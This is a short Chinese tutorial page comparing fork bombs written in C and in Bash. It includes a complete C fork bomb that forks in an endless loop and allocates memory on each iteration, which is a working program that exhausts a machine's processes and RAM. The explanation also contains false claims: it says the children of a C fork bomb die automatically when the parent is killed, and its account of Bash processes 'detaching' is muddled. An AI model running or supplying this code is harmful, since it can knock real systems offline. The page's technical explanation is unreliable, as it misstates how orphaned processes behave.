C 与 BASH C/C++ 中的 Fork 炸弹?


BASH fork 炸弹明显比其 C 程序版本功能更强大。主要原因在于 BASH 中,所创建的进程会与父进程分离。如果父进程(我们最初启动的进程)被销毁或终止,其余进程将继续存在。但对于 C 实现,如果父进程被销毁或终止,列出的子进程会自动死亡。脚本负责直接与系统通信。

C 中的 fork 炸弹程序可以更新或修改。我们能够在创建 fork 进程时为程序分配内存。

将以下程序视为修改后的 C fork 炸弹实现 −

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}

更新于:2020-01-29

358 次浏览

开启你的职业生涯

完成课程即可获得认证

开始
广告